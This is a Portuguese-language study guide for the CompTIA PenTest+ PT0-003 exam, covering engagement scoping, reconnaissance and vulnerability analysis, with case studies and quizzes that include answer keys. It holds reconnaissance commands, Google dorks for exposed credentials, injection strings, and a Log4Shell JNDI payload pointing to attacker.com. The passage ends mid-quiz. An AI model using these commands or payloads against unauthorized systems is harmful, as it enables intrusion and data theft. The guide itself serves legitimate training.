Certificação · PT0-003

CompTIA PenTest+
Guia de Estudo Completo

Material aprofundado para a certificação de Penetration Testing da CompTIA, alinhado com a versão PT0-003 e estruturado por domínios oficiais.

📚 5 domínios
📝 50 questões de quiz
🎯 5 estudos de caso
⏱️ ~165 min · exame oficial

Domínios do Exame

1
13%

Engagement Management

2
21%

Reconnaissance & Enumeration

3
17%

Vulnerability Discovery & Analysis

4
35%

Attacks & Exploits

5
14%

Post-exploitation & Lateral Movement

Domínio 1

Engagement Management

13% do exame · gestão do engagement, scoping, contratos e comunicação

Este domínio é o alicerce ético e contratual de qualquer penetration test profissional. Antes de qualquer comando nmap ou de executar um exploit, o pentester precisa estabelecer um quadro legal, definir o escopo com precisão e alinhar expectativas com o cliente. Um teste mal-escopado não é apenas ineficaz — é uma responsabilidade legal.

1.1 Pre-engagement Activities

As atividades pré-engagement determinam o sucesso de todo o teste. O pentester e o cliente precisam de acordar formalmente sobre objetivos, limites e regras antes de qualquer atividade técnica.

Tipos de Testes

Tipos de Engagement por Conhecimento da Equipa Defensiva

TipoEquipa atacanteEquipa defensiva sabe?Objetivo
AnnouncedRed Team / pentesterSimValidar controlos técnicos
UnannouncedRed Team / pentesterNãoAvaliar capacidade de deteção e resposta (Blue Team)
Purple TeamRed + Blue colaborandoSimMelhoria contínua dos dois lados
Conceito-chave Threat modeling é o exercício de identificar e priorizar as ameaças mais prováveis e impactantes para a organização-alvo. Frameworks comuns: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege), PASTA, DREAD e MITRE ATT&CK.

1.2 Documentação Contratual Crítica

Documentação inadequada é a principal causa de problemas legais em pentests. Cada documento tem uma função específica e nenhum deles é opcional num engagement profissional.

SOW — Statement of Work

Documento técnico que detalha o que será feito: escopo, deliverables, cronograma, recursos, critérios de aceitação. O SOW é o "contrato técnico" do engagement.

MSA — Master Service Agreement

Acordo-quadro entre pentester e cliente que define termos gerais aplicáveis a múltiplos projetos: responsabilidades, pagamento, jurisdição, propriedade intelectual. Evita renegociar termos a cada novo SOW.

NDA — Non-Disclosure Agreement

Acordo de confidencialidade. Crítico: pode ser unilateral (apenas o pentester se compromete) ou bilateral/mutual. Define o que é informação confidencial, duração da obrigação e exceções.

ROE — Rules of Engagement

Define como o teste será executado na prática: janelas de tempo permitidas, técnicas autorizadas/proibidas, sistemas in-scope e out-of-scope, contactos de emergência, procedimentos de escalação.

⚠️ Atenção Sem uma Authorization Letter (carta de autorização) assinada por alguém com poder legal para autorizar o teste (geralmente C-level), atividades de pentest podem ser caracterizadas como crime sob legislações como o Computer Fraud and Abuse Act (CFAA) nos EUA ou a Lei do Cibercrime (Lei 109/2009) em Portugal. A autorização deve estar disponível em formato físico durante o teste.

1.3 Scoping

O scoping define exatamente o que pode e não pode ser testado. Erros de scoping levam a duas situações catastróficas: scope creep (testes além do autorizado) ou coverage gaps (áreas críticas não testadas).

Elementos do Escopo

Compliance e Frameworks Regulatórios

FrameworkAplicaçãoImpacto no scoping
PCI DSSCartões de créditoRequer pentest anual + após alterações significativas
HIPAADados de saúde (EUA)Risk assessment regular; pentest implícito em "evaluation"
GDPRDados pessoais (UE)Art. 32 exige medidas de segurança apropriadas; pentests demonstram diligência
NIS2Operadores essenciais (UE)Testes periódicos de segurança são exigidos
ISO 27001SGSIControlo A.12.6.1 requer gestão de vulnerabilidades técnicas

1.4 Comunicação Durante o Engagement

A comunicação contínua é o que distingue um pentester profissional de um script kiddie. Critical findings precisam de ser comunicados imediatamente, não no relatório final.

Triggers de Comunicação Obrigatória

  1. Critical/high findings: vulnerabilidades exploráveis que dão acesso administrativo ou exposição de dados sensíveis.
  2. Indicadores de comprometimento prévio: se durante o teste forem descobertos indícios de que a organização já foi (ou está a ser) comprometida por um atacante real.
  3. Quebra de escopo acidental: se descobrir que um sistema in-scope tem dependências out-of-scope.
  4. Disrupção operacional: qualquer impacto não-intencional em sistemas de produção.

1.5 Relatório Final

O relatório é o deliverable principal do engagement. Frequentemente, é o único artefacto que o cliente vai ler em detalhe. Um teste tecnicamente perfeito com um relatório medíocre é um engagement falhado.

Estrutura Padrão

  1. Executive Summary: 1-2 páginas para gestão. Linguagem não-técnica. Risco geral, principais findings, recomendações estratégicas.
  2. Methodology: como o teste foi executado (PTES, OSSTMM, NIST SP 800-115).
  3. Findings detalhados: cada vulnerabilidade com CVSS score, evidence (screenshots, logs), impacto de negócio e remediação.
  4. Appendices: ferramentas usadas, lista completa de testes, raw output relevante.
💡 Boa prática Use CVSS v4.0 para classificação técnica de severidade, mas combine sempre com contexto de negócio. Um SQL injection numa app interna de RH com PII tem impacto diferente do mesmo SQL injection num formulário de contacto público.
Estudo de Caso · Domínio 1

O caso TechBank: scoping incompleto e exposição legal

Cenário

Uma consultora foi contratada pelo TechBank (banco fictício europeu) para realizar um pentest externo. O SOW listava o range 203.0.113.0/24 como in-scope. Durante o reconhecimento, a equipa identificou um portal de internet banking hospedado em AWS (banking.techbank.eu) que resolvia para um IP fora desse range. A equipa, assumindo que era óbvio que o portal estava in-scope, prosseguiu com testes que incluíram tentativas de bypass de autenticação.

O que correu mal

O portal estava num tenant AWS de um terceiro fornecedor (não do TechBank). A AWS detetou o tráfego, suspendeu o serviço (afetando 80.000 clientes durante 4 horas) e abriu investigação. O fornecedor terceiro processou o TechBank por violação de contrato. O TechBank processou a consultora por extrapolação de escopo.

Lições aprendidas
  • Escopo deve listar ativos e domínios, não apenas ranges de IP — IPs mudam (especialmente em cloud).
  • Antes de testar qualquer serviço cloud, o cliente deve confirmar ownership e notificar o provider quando exigido (AWS atualmente não exige pré-autorização para a maioria dos testes, mas tem políticas específicas).
  • O ROE deve incluir um procedimento explícito para escopo descoberto durante o teste (scope expansion request).
  • A consultora deveria ter parado e contactado o cliente antes de testar um ativo fora do range explícito.

Mini Quiz · Domínio 1

10 questões sobre Engagement Management

1Qual documento define COMO um pentest será executado (janelas de tempo, técnicas permitidas, contactos de emergência)?

  • A. SOW (Statement of Work)
  • B. ROE (Rules of Engagement)
  • C. NDA (Non-Disclosure Agreement)
  • D. MSA (Master Service Agreement)
Resposta: B. O ROE é o documento operacional que rege a execução prática do teste. O SOW define o "o quê", enquanto o ROE define o "como". Sem ROE claro, o pentester pode tomar decisões que extrapolam a autorização contratual.

2Um cliente solicita um pentest onde a equipa atacante não tem qualquer conhecimento prévio da infraestrutura, mas a equipa de SOC do cliente SABE que o teste vai acontecer. Como este engagement é classificado?

  • A. White-box, unannounced
  • B. Black-box, announced
  • C. Gray-box, purple team
  • D. Black-box, unannounced
Resposta: B. "Sem conhecimento prévio" da equipa atacante = black-box. "Equipa defensiva sabe" = announced. Os dois eixos (conhecimento do atacante, conhecimento do defensor) são independentes.

3Durante um teste autorizado, descobres evidências de que a organização já foi comprometida por um atacante real (malware ativo, conexões C2). Qual a ação correta?

  • A. Documentar no relatório final e continuar normalmente.
  • B. Tentar erradicar o malware como parte do engagement.
  • C. Parar e contactar imediatamente o ponto de contacto definido no ROE.
  • D. Reportar à polícia diretamente.
Resposta: C. Descobrir um comprometimento ativo é um trigger crítico de comunicação imediata. O cliente pode querer envolver DFIR (forense), preservar evidências e tomar decisões legais. Continuar o teste pode destruir evidências forenses. Reportar à polícia é decisão do cliente, não do pentester.

4Qual framework é especificamente usado para modelagem de ameaças com as categorias Spoofing, Tampering, Repudiation, Information Disclosure, DoS e Elevation of Privilege?

  • A. PASTA
  • B. STRIDE
  • C. DREAD
  • D. OCTAVE
Resposta: B. STRIDE foi criado pela Microsoft e cobre as 6 categorias da pergunta. DREAD é para classificação de severidade (Damage, Reproducibility, Exploitability, Affected users, Discoverability). PASTA é uma metodologia de 7 etapas. OCTAVE foca-se em risco organizacional.

5Uma empresa europeia precisa de demonstrar conformidade com GDPR e quer fazer pentests regulares. Qual artigo GDPR é mais diretamente relacionado a esta atividade?

  • A. Artigo 6 (Lawfulness)
  • B. Artigo 17 (Right to erasure)
  • C. Artigo 32 (Security of processing)
  • D. Artigo 33 (Breach notification)
Resposta: C. Art. 32 obriga as organizações a implementar medidas técnicas e organizacionais apropriadas, incluindo "regular testing, assessing and evaluating" dos controlos de segurança. Pentests demonstram cumprimento desta obrigação.

6Numa organização sujeita a PCI DSS, qual a frequência mínima de pentests externos exigida?

  • A. Trimestral
  • B. Semestral
  • C. Anual ou após alterações significativas
  • D. A cada dois anos
Resposta: C. PCI DSS Requirement 11.4.x exige pentests anuais e após qualquer alteração significativa na infraestrutura ou aplicação. Scans de vulnerabilidade (não pentests) são trimestrais (Req 11.3).

7Qual é o objetivo principal de um engagement Purple Team?

  • A. Testar discretamente a equipa defensiva sem que esta saiba.
  • B. Substituir o pentest tradicional por uma abordagem mais barata.
  • C. Colaboração ativa entre Red e Blue Team para melhoria mútua e contínua.
  • D. Auditoria de compliance regulatório.
Resposta: C. Purple Team não é um time separado — é uma metodologia onde Red e Blue trabalham juntos em tempo real. O Red executa táticas e o Blue valida deteção/resposta, ajustando controlos de imediato.

8O Executive Summary de um relatório de pentest deve ser escrito com qual audiência em mente?

  • A. Analistas técnicos do SOC.
  • B. Auditores externos.
  • C. Gestão executiva (C-level), em linguagem não-técnica.
  • D. Outros pentesters da indústria.
Resposta: C. O Executive Summary deve traduzir risco técnico em impacto de negócio, em 1-2 páginas, sem jargão. Findings técnicos detalhados vão na secção principal do relatório.

9Qual destes elementos NÃO faz parte tipicamente do escopo formal de um pentest?

  • A. Ranges de IP e domínios in-scope.
  • B. Janelas de tempo permitidas para teste.
  • C. O valor exato dos dados que serão exfiltrados como prova.
  • D. Técnicas explicitamente proibidas (ex.: DoS).
Resposta: C. Exfiltração de dados reais como "prova" é geralmente proibida ou estritamente regulada. O ROE define o que pode ser feito com dados encontrados — tipicamente apenas captura de evidência mínima (ex.: primeiros 5 registos de uma tabela).

10Sem qual documento, o pentest pode ser legalmente caracterizado como acesso não-autorizado a sistemas informáticos?

  • A. NDA
  • B. Relatório de findings
  • C. Authorization Letter (carta de autorização)
  • D. Threat model
Resposta: C. A Authorization Letter (também chamada "Get Out of Jail Free card") é assinada por alguém com autoridade legal para autorizar testes. Sem ela, as atividades de pentest podem ser enquadradas como crime sob legislações como CFAA (EUA), Computer Misuse Act (UK) ou Lei do Cibercrime (Portugal).
Domínio 2

Reconnaissance & Enumeration

21% do exame · o maior domínio de informação do exame

O reconhecimento é a fase onde o pentester constrói uma imagem completa do alvo antes de atacar. Um reconhecimento deficiente leva a ataques mal direcionados; um reconhecimento excelente muitas vezes revela vulnerabilidades críticas sem sequer lançar um exploit. "Hacking is 90% reconnaissance."

2.1 Reconhecimento Passivo (OSINT)

No reconhecimento passivo, o pentester coleta informação sem interagir diretamente com a infraestrutura do alvo. O alvo não consegue detetar esta fase nos seus logs.

DNS Passive Recon

OSINT Frameworks e Fontes

Fonte/FerramentaO que revelaCategoria
Shodan / CensysIPs, portas abertas, banners, tecnologias, certificadosInternet scanning
Google DorksFicheiros expostos, painéis de admin, erros de appSearch engine OSINT
LinkedIn / OSINT frameworkEstrutura org., tecnologias usadas, emails de funcionáriosHuman intelligence
crt.sh / AmassSubdomínios via Certificate TransparencyDomain recon
theHarvesterEmails, hosts, IPs de múltiplas fontesAggregator
MaltegoMapeamento visual de relações entre entidadesOSINT visual
Wayback MachineVersões antigas do site, endpoints removidosWeb archive
Hunter.ioPadrões de email corporativoEmail recon

Google Dorks mais comuns no exame

site:example.com filetype:pdf          # PDFs expostos
site:example.com inurl:admin           # Painéis administrativos
intitle:"index of" site:example.com    # Directory listing
"password" filetype:xls site:example.com # Planilhas com senhas
inurl:".env" site:example.com          # Ficheiros .env expostos
cache:example.com                      # Versão em cache do Google
Conceito-chave: OSINT vs SOCINT vs GEOINT OSINT (Open Source Intelligence) é informação publicamente disponível. SOCINT é inteligência de redes sociais especificamente. GEOINT é inteligência geoespacial (fotos de satélite, Google Maps, metadados GPS em imagens). Numa avaliação física, GEOINT pode revelar câmeras, entradas, disposição de segurança.

2.2 Reconhecimento Ativo e Scanning

No reconhecimento ativo, o pentester interage diretamente com os sistemas do alvo. Os logs do alvo registam estas interações. Este tipo de reconhecimento requer autorização explícita.

Nmap — Domínio completo

O Nmap é o scanner de rede mais importante para o exame. Conhecer as flags e o que cada uma faz é mandatório.

Flag/TécnicaDescriçãoPrivilegiado?
-sSTCP SYN scan (stealth) — não completa o handshake, mais difícil de logarSim (root)
-sTTCP Connect scan — completa o handshake, funciona sem rootNão
-sUUDP scan — lento, mas crítico para serviços UDP (DNS, SNMP, TFTP)Sim
-sN/-sF/-sXNULL, FIN, Xmas scans — evasão de firewalls statelessSim
-sVVersion detection — banner grabbing e identificação de versõesNão
-OOS detection via TCP/IP fingerprintingSim
-AAggressive: -sV -O --script=default -tracerouteSim
-p-Scan todas as 65535 portasNão
--script=vulnNSE scripts para deteção de vulnerabilidadesNão
-T0 a -T5Timing (T0=paranoid/lento, T5=insane/rápido)Não
-D RND:10Decoy scan — mistura IPs aleatórios para dificultar deteçãoSim
-fFragmentação de pacotes — evasão de IDS/IPS simplesSim

Interpretação dos estados de portas Nmap

Enumeration de Serviços Comuns

Serviço / PortaFerramentaO que enumerar
SMB / 445enum4linux, smbclient, crackmapexecShares, utilizadores, grupos, password policy
LDAP / 389, 636ldapsearch, nmap --script ldap*Utilizadores AD, OUs, políticas, grupos
SNMP / 161 UDPsnmpwalk, onesixtyoneSystem info, interfaces, routing table, processos
RPC / 135, 111rpcclient, rpcinfoUtilizadores, grupos, SIDs, shares
DNS / 53dig, dnsrecon, fierceZone transfer, subdomain brute force, reverse lookup
HTTP/S / 80, 443gobuster, ffuf, nikto, whatwebDiretórios, ficheiros, tecnologias, cabeçalhos
FTP / 21nmap, ftp clientVersão, anonymous login, ficheiros listáveis
NFS / 2049showmount, nmapExports disponíveis, permissões
⚠️ DNS Zone Transfer Um zone transfer (AXFR) bem-sucedido é equivalente a ganhar um mapa completo da infraestrutura DNS interna do alvo. Servidores DNS mal configurados permitem AXFR de qualquer IP. Comando: dig axfr @ns1.example.com example.com. Muitas organizações ainda não corrigiram isto — é um finding frequente em pentests.

2.3 Web Application Reconnaissance

Enumeração de Diretórios e Ficheiros

# Gobuster — brute force de diretórios
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

# FFUF — fuzzing rápido
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302

# Nikto — scanner de vulnerabilidades web básico
nikto -h https://target.com

Fingerprinting de Tecnologias

2.4 Wireless Reconnaissance

Wireless recon requer hardware específico (placa com modo monitor e packet injection) e é legal apenas em redes próprias ou com autorização explícita.

FerramentaFunçãoProtocolo alvo
airodump-ngCaptura de beacons, clientes, handshakes802.11 (WiFi)
aircrack-ngCrack WEP e WPA/WPA2 PSK (dicionário)WEP, WPA2
KismetIDS passivo wireless, deteção de rogue APs802.11, Bluetooth, Zigbee
hcxdumptoolCaptura PMKID sem handshake completo (WPA2)WPA2/WPA3
WiresharkAnálise de tráfego capturadoMúltiplos
Estudo de Caso · Domínio 2

MedCorp: OSINT que expôs 12.000 registos de pacientes

Cenário

Num engagement black-box para a MedCorp (clínica fictícia), a equipa iniciou com reconhecimento passivo puro — sem sequer fazer ping ao alvo. Usando theHarvester e crt.sh, identificaram 23 subdomínios, incluindo backup.medcorp.local e dev-api.medcorp.com. Uma pesquisa no Shodan revelou que dev-api.medcorp.com tinha a porta 9200 (Elasticsearch) aberta sem autenticação. Google Dork site:medcorp.com filetype:sql devolveu um dump SQL num bucket S3 público.

O que foi descoberto

O índice Elasticsearch continha 12.000 registos de pacientes (nome, NIF, histórico clínico). O dump SQL tinha credenciais da base de dados de produção em texto plano. Tudo isto foi descoberto antes de qualquer scan ativo — apenas com OSINT passivo.

Lições aprendidas
  • Ambientes de desenvolvimento/staging frequentemente não têm os mesmos controlos de segurança que produção.
  • Elasticsearch não tem autenticação por defeito nas versões mais antigas — e costuma estar exposto ao internet.
  • Buckets S3 públicos continuam a ser uma das maiores fontes de data breaches.
  • A fase de OSINT deve ser exaustiva — muitas vezes o engagement termina aqui com critical findings.

Mini Quiz · Domínio 2

10 questões sobre Reconnaissance & Enumeration

1Qual técnica de scan Nmap envia pacotes SYN mas NÃO completa o three-way handshake TCP?

  • A. TCP Connect scan (-sT)
  • B. SYN scan (-sS)
  • C. ACK scan (-sA)
  • D. NULL scan (-sN)
Resposta: B. O SYN scan (-sS) envia SYN, recebe SYN-ACK (porta aberta) ou RST (porta fechada), e envia RST para encerrar sem completar a conexão. Mais difícil de logar porque a sessão TCP nunca foi estabelecida formalmente.

2Durante reconhecimento passivo, utilizas o comando dig axfr @ns1.alvo.com alvo.com e recebes uma listagem completa de todos os registos DNS internos. Como se chama esta vulnerabilidade?

  • A. DNS Cache Poisoning
  • B. DNS Amplification
  • C. DNS Zone Transfer não restrito (AXFR)
  • D. DNS Hijacking
Resposta: C. Zone transfers (AXFR) devem ser restritos apenas a servidores DNS secundários autorizados. Quando abertos a qualquer IP, revelam mapeamento completo da infraestrutura interna.

3Qual destas ferramentas é especificamente usada para enumeração de SMB/SAMBA em sistemas Linux?

  • A. gobuster
  • B. nikto
  • C. enum4linux
  • D. airodump-ng
Resposta: C. enum4linux automatiza a enumeração de informação via SMB/RPC em sistemas Windows e Samba, incluindo utilizadores, grupos, shares e políticas de password.

4Um pentester usa a query site:empresa.com filetype:pdf "confidencial". Esta técnica chama-se:

  • A. Web scraping
  • B. Google Dorking
  • C. Directory traversal
  • D. Banner grabbing
Resposta: B. Google Dorking usa operadores avançados de pesquisa para encontrar informação exposta inadvertidamente nos índices dos motores de busca.

5O Shodan é principalmente utilizado para:

  • A. Cracking de passwords WiFi
  • B. Análise de malware em sandbox
  • C. Descoberta passiva de dispositivos e serviços expostos na internet
  • D. Enumeração de utilizadores Active Directory
Resposta: C. O Shodan faz scanning contínuo da internet e indexa banners, certificados e metadados de serviços. É OSINT passivo — não estás a fazer scan do alvo, estás a consultar uma base de dados já existente.

6Qual estado de porta Nmap indica que um firewall está a descartar os pacotes e não é possível determinar se há um serviço ativo?

  • A. closed
  • B. open
  • C. filtered
  • D. unresponsive
Resposta: C. "filtered" significa que o firewall está a bloquear os pacotes de probe. Difere de "closed" (porta acessível, sem serviço, RST recebido) e de "open" (serviço ativo, SYN-ACK recebido).

7Para capturar o WPA2 four-way handshake e posteriormente fazer um ataque de dicionário offline, qual ferramenta utilizas para a captura?

  • A. aircrack-ng
  • B. airodump-ng
  • C. Kismet
  • D. Wireshark
Resposta: B. airodump-ng captura o handshake (salvando num ficheiro .cap). Depois, aircrack-ng usa esse ficheiro para o ataque de dicionário. São ferramentas diferentes com funções diferentes, ambas do pacote aircrack-ng suite.

8Qual cookie name sugere que a aplicação web usa tecnologia Java (Java EE / Tomcat)?

  • A. PHPSESSID
  • B. ASP.NET_SessionId
  • C. JSESSIONID
  • D. connect.sid
Resposta: C. JSESSIONID = Java. PHPSESSID = PHP. ASP.NET_SessionId = ASP.NET/.NET. connect.sid = Node.js/Express. Estes indicadores de tecnologia são úteis no fingerprinting para selecionar exploits específicos da plataforma.

9O comando snmpwalk -v2c -c public 192.168.1.1 é um exemplo de enumeração de qual protocolo?

  • A. LDAP
  • B. SMB
  • C. SNMP
  • D. RPC
Resposta: C. SNMP (Simple Network Management Protocol) usa community strings ("public" é o default). snmpwalk com a community string correta pode revelar informação extensiva sobre o dispositivo: interfaces, routing, processos, software instalado.

10Qual a principal diferença entre reconhecimento passivo e ativo?

  • A. O passivo usa ferramentas automatizadas; o ativo é manual.
  • B. O passivo é ilegal sem autorização; o ativo não.
  • C. O passivo não gera tráfego no alvo; o ativo interage diretamente com os sistemas do alvo.
  • D. O passivo é mais eficaz; o ativo é redundante.
Resposta: C. No recon passivo (OSINT), consultas fontes externas — motores de busca, Shodan, crt.sh. O alvo não vê nada nos seus logs. No ativo, envias tráfego diretamente para o alvo (scans, enumeração), o que pode ser detetado e logado.
🧪 Laboratórios Práticos — Domínio 2
  • Lab 1 — OSINT com theHarvester: Instala Kali Linux (VM ou WSL). Executa theHarvester -d securitytrails.com -b google,bing,crtsh num domínio público de uma empresa conhecida. Documenta todos os emails, subdomínios e IPs encontrados.
  • Lab 2 — Nmap completo no TryHackMe: Resolve as salas "Nmap" e "Nmap Advanced" no TryHackMe. Pratica todas as flags da tabela acima num ambiente legal.
  • Lab 3 — DNS Zone Transfer: Configura um servidor BIND9 numa VM sem restrição de AXFR e praticamente testa o exploit. HackTheBox tem máquinas (ex.: "Resolute") com DNS vulnerável.
  • Lab 4 — SMB Enumeration: Máquina "Blue" e "Legacy" no HackTheBox têm SMB vulnerável. Usa enum4linux e smbclient para enumeração antes de qualquer exploit.
  • Lab 5 — Google Dorking: Usa o Google Hacking Database (GHDB) em exploit-db.com/google-hacking-database para explorar dorks num ambiente de prática como hackertest.net.
Domínio 3

Vulnerability Discovery & Analysis

17% do exame · scanners, análise manual, CVSS e priorização

Descobrir vulnerabilidades não é apenas correr um scanner e exportar o relatório. Um pentester profissional valida cada finding manualmente, elimina falsos positivos, correlaciona vulnerabilidades para descobrir chains de ataque e prioriza com contexto de negócio. Scanners são um ponto de partida, não o destino.

3.1 Scanners de Vulnerabilidades

ScannerTipoPontos fortesLimitações
Nessus / Tenable.ioNetwork + AppBase de dados enorme de plugins, relatórios detalhadosLicença paga; pode gerar ruído em produção
OpenVAS / GreenboneNetworkGratuito, open-source, feeds regularesInterface mais complexa; menor cobertura que Nessus
NiktoWebRápido, simples, bom para fingerprinting webMuito ruidoso, muitos falsos positivos
OWASP ZAPWeb (DAST)Proxy + scanner, gratuito, extensívelMenos preciso que Burp Suite Pro
Burp Suite ProWeb (DAST)Melhor scanner web, proxy poderoso, extensõesLicença cara; requer conhecimento para uso avançado
NucleiWeb + NetworkTemplates YAML da comunidade, extremamente rápidoQualidade dos templates é variável
Nmap NSENetworkIntegrado com scanning, granularidade de controloNão tão abrangente quanto Nessus

3.2 CVSS — Sistema de Pontuação de Vulnerabilidades

O Common Vulnerability Scoring System (CVSS) é o sistema padrão para quantificar a severidade de vulnerabilidades. O exame foca principalmente CVSS v3.1 e a transição para v4.0.

CVSS v3.1 — Grupos de Métricas

GrupoMétricasNotas
BaseAttack Vector, Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, AvailabilityImutável — define a vulnerabilidade em si
TemporalExploit Code Maturity, Remediation Level, Report ConfidenceEvolui com o tempo (ex.: quando exploit público disponível)
EnvironmentalModified Base metrics + Security RequirementsAjustado pelo utilizador ao contexto da organização

Escalas de Severidade CVSS

RatingScoreAção típica
None0.0Informacional
Low0.1 – 3.9Remediação no próximo ciclo
Medium4.0 – 6.9Remediação planeada (30-90 dias)
High7.0 – 8.9Remediação urgente (<30 dias)
Critical9.0 – 10.0Remediação imediata / patching emergencial
⚠️ CVSS ≠ Prioridade real Um CVSS 9.8 numa aplicação interna sem acesso à internet tem impacto real muito menor do que um CVSS 7.5 num servidor de pagamentos exposto. O CVSS mede a vulnerabilidade isolada; o risco real combina CVSS com contexto de negócio, exposição e criticidade do ativo. Use o Environmental Score para refletir o contexto real.

3.3 CVE, CWE e NVD

3.4 Análise Manual de Vulnerabilidades Web

Scanners automatizados frequentemente falham em lógica de negócio complexa, autenticação e fluxos de estado. A análise manual usando Burp Suite é indispensável.

OWASP Top 10 (2021) para o exame

#VulnerabilidadeExemplo / Indicador
A01Broken Access ControlIDOR, privilege escalation, path traversal
A02Cryptographic FailuresHTTP sem TLS, MD5, SHA1, dados sensíveis em texto plano
A03Injection (SQL, OS, LDAP)' OR 1=1--, ; ls -la
A04Insecure DesignFalta de rate limiting, lógica de negócio quebrada
A05Security MisconfigurationDefault credentials, directory listing, debug mode ativo
A06Vulnerable & Outdated ComponentsCVEs conhecidos em bibliotecas/frameworks usados
A07Identification & Auth FailuresBrute force sem lockout, session fixation, weak tokens
A08Software & Data Integrity FailuresCI/CD sem verificação, deserialização insegura
A09Security Logging & Monitoring FailuresAusência de logs, alertas não configurados
A10SSRF (Server-Side Request Forgery)Acesso a 169.254.169.254 (metadata AWS)

Análise de Código Estático (SAST) vs Dinâmico (DAST)

3.5 Análise de Vulnerabilidades de Rede e Infraestrutura

Vulnerabilidades Comuns de Rede

VulnerabilidadeProtocolo/ServiçoCVE de referência
EternalBlue / MS17-010SMBv1 / TCP 445CVE-2017-0144
BlueKeepRDP / TCP 3389CVE-2019-0708
Log4ShellLog4j2 (Java)CVE-2021-44228
PrintNightmareWindows Print SpoolerCVE-2021-34527
ProxyLogonMicrosoft ExchangeCVE-2021-26855
HeartbleedOpenSSL / TLSCVE-2014-0160
ShellShockBash / CGICVE-2014-6271
💡 Dica de exame O exame PT0-003 frequentemente apresenta saídas de scanner (Nessus, Nmap) e pede que o candidato identifique a vulnerabilidade, classifique a severidade ou determine o próximo passo. Pratica leitura e interpretação de relatórios de scan — não apenas execução de ferramentas.
Estudo de Caso · Domínio 3

RetailChain: quando o scanner encontrou tudo e o pentester encontrou o que importava

Cenário

Uma cadeia de retalho fictícia (RetailChain) contratou um pentest após uma auditoria de compliance PCI DSS. O scanner Nessus gerou um relatório com 847 findings — a maioria Medium e Low. O CISO queria um "plano de remediação para todos os 847". O pentester pediu 2 dias adicionais para análise manual antes de entregar qualquer plano.

O que o pentester encontrou manualmente

Dos 847 findings: 623 eram falsos positivos ou informativos sem impacto real. 201 eram válidos mas de baixo impacto no contexto. Apenas 23 findings combinados formavam 3 attack chains críticos: (1) SQLi num endpoint de pesquisa → dump da base de dados de clientes; (2) Credenciais default num switch de rede → acesso à rede de PDVs; (3) SSRF no módulo de importação de imagens → acesso ao metadata AWS com IAM credentials temporárias que davam acesso a S3 com backups de transações.

Lições aprendidas
  • Scanners produzem ruído — a análise manual é o que transforma um relatório de 847 linhas num executive briefing de 3 pontos críticos.
  • Attack chains (vulnerabilidades encadeadas) frequentemente têm impacto muito maior do que cada vulnerabilidade isolada.
  • CVSS score individual não captura o risco de encadeamento. Um SSRF com CVSS 6.1 (Medium) que dá acesso a credenciais AWS é Critical no contexto.
  • A priorização deve ser baseada em exploitability + impacto de negócio + exposição, não apenas no score CVSS.

Mini Quiz · Domínio 3

10 questões sobre Vulnerability Discovery & Analysis

1Uma vulnerabilidade tem CVSS Base Score 9.8. No entanto, o sistema afetado está numa rede isolada sem acesso à internet e contém apenas dados de teste. Qual a ação mais adequada?

  • A. Remediar imediatamente — CVSS 9.8 é sempre crítico.
  • B. Ignorar — sistemas isolados não têm risco.
  • C. Ajustar com Environmental Score e priorizar com base no risco contextual real.
  • D. Reportar como Critical no relatório sem ajustes.
Resposta: C. O Environmental Score do CVSS existe precisamente para isto. Attack Vector "Network" numa rede isolada muda drasticamente o risco. O pentester deve comunicar o CVSS Base mas contextualizar com Environmental Score e impacto real.

2CWE-89 corresponde a qual tipo de vulnerabilidade?

  • A. Cross-Site Scripting (XSS)
  • B. SQL Injection
  • C. Buffer Overflow
  • D. Path Traversal
Resposta: B. CWE-89 = SQL Injection. CWE-79 = XSS. CWE-119 = Buffer Overflow. CWE-22 = Path Traversal. Conhecer os CWEs mais comuns é frequentemente testado no exame.

3Qual a diferença entre SAST e DAST?

  • A. SAST testa aplicações web; DAST testa APIs.
  • B. SAST analisa código-fonte sem executar; DAST testa a aplicação em execução.
  • C. SAST é mais rápido; DAST é mais preciso.
  • D. SAST requer acesso físico; DAST é remoto.
Resposta: B. SAST (Static) = análise de código-fonte/bytecode sem execução. DAST (Dynamic) = testa a aplicação em runtime, como um atacante externo. SAST encontra vulnerabilidades mais cedo; DAST encontra problemas de configuração e runtime que o código não revela.

4O CVE-2021-44228 (Log4Shell) explora uma vulnerabilidade em qual componente?

  • A. Apache HTTP Server
  • B. Apache Log4j2 (biblioteca de logging Java)
  • C. OpenSSL
  • D. Microsoft Exchange Server
Resposta: B. Log4Shell (CVE-2021-44228) é uma vulnerabilidade de Remote Code Execution na biblioteca Log4j2 via JNDI injection. Um atacante envia uma string como ${jndi:ldap://attacker.com/x} que é processada e executa código remoto. CVSS 10.0.

5Qual item do OWASP Top 10 2021 cobre ataques de IDOR (Insecure Direct Object Reference)?

  • A. A01 — Broken Access Control
  • B. A03 — Injection
  • C. A07 — Identification & Auth Failures
  • D. A10 — SSRF
Resposta: A. IDOR é uma subclasse de Broken Access Control (A01). Um utilizador acede a recursos de outro simplesmente alterando um ID na URL/parâmetro. Subiu para #1 do OWASP Top 10 em 2021, indicando quão comum e crítico é.

6O EPSS (Exploit Prediction Scoring System) mede:

  • A. O impacto financeiro de uma vulnerabilidade.
  • B. A dificuldade técnica de explorar uma vulnerabilidade.
  • C. A probabilidade de uma vulnerabilidade ser explorada nos próximos 30 dias.
  • D. O número de sistemas afetados mundialmente.
Resposta: C. EPSS usa dados de exploração real para prever quais CVEs são mais prováveis de ser usados em ataques nos próximos 30 dias. Complementa CVSS para priorização — um CVE com CVSS 6.0 mas EPSS 0.95 (95% de probabilidade de exploração) deve ser priorizado sobre um CVE com CVSS 9.0 e EPSS 0.02.

7Um scanner Nessus reporta um finding "SSL Certificate Signed with Weak Hashing Algorithm (MD5)" num servidor interno. Como este finding deve ser classificado considerando contexto?

  • A. Critical — MD5 é sempre crítico.
  • B. Informational — certificates nunca são críticos.
  • C. Medium/Low — válido, mas contextualizado pelo facto de ser interno e pelo impacto real possível.
  • D. High — todos os findings de criptografia são High.
Resposta: C. MD5 é criptograficamente fraco e deve ser corrigido, mas em contexto interno (não exposto à internet, sem dados críticos em trânsito) é geralmente Medium. A contextualização é fundamental. O relatório deve explicar o risco sem alarmar desproporcionalmente.

8Qual ferramenta usa templates YAML da comunidade e é conhecida pela sua velocidade em scanning de vulnerabilidades web?

  • A. Nikto
  • B. Nessus
  • C. Nuclei
  • D. OpenVAS
